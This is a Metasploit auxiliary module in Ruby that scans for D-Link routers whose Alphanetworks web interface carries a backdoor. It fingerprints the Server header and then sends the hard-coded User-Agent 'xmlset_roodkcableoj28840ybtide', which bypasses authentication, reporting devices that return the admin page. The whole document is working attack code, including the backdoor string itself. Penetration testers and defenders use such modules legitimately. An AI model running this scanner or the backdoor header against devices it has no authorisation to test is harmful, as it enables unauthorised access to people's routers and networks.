D-Link User-Agent Backdoor Scanner

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
  
def initialize  
super(  
'Name' => 'D-Link User-Agent Backdoor Scanner',  
'Description' => %q{  
This module attempts to find D-Link devices running Alphanetworks web interfaces affected  
by the backdoor found on the User-Agent header. This module has been tested successfully  
on a DIR-100 device with firmware version v1.13.  
},  
'Author' =>  
[  
'Craig Heffner', # vulnerability discovery  
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module  
'juan vazquez' # minor help with msf module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/' ]  
],  
# First documented in detail by Craig, but looks like it's been known  
# (at least to the Russians :-) ) since 2010 - see post at forum.codenet.ru  
'DisclosureDate' => "Oct 12 2013"  
)  
  
end  
  
def is_alpha_web_server?  
begin  
res = send_request_cgi({'uri' => '/'})  
rescue ::Rex::ConnectionError  
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")  
return false  
end  
  
# Signatures:  
# * httpd-alphanetworks/2.23  
# * Alpha_webserv  
if res and res.headers["Server"] and res.headers["Server"] =~ /alpha/i  
return true  
end  
  
return false  
end  
  
def run_host(ip)  
  
if is_alpha_web_server?  
vprint_good("#{ip} - Alphanetworks web server detected")  
else  
vprint_error("#{ip} - Alphanetworks web server doesn't detected")  
return  
end  
  
begin  
res = send_request_cgi({  
'uri' => '/',  
'method' => 'GET',  
'agent' => 'xmlset_roodkcableoj28840ybtide'  
})  
rescue ::Rex::ConnectionError  
vprint_error("#{ip}:#{rport} - Failed to connect to the web server")  
return  
end  
  
# DIR-100 device with firmware version v1.13  
# not sure if this matches on other devices  
# TODO: Testing on other devices  
if res and res.code == 200 and res.headers["Content-length"] != 0 and res.body =~ /Home\/bsc_internet\.htm/  
print_good("#{ip}:#{rport} - Vulnerable for authentication bypass via User-Agent Header \"xmlset_roodkcableoj28840ybtide\"")  
end  
  
end  
end  
`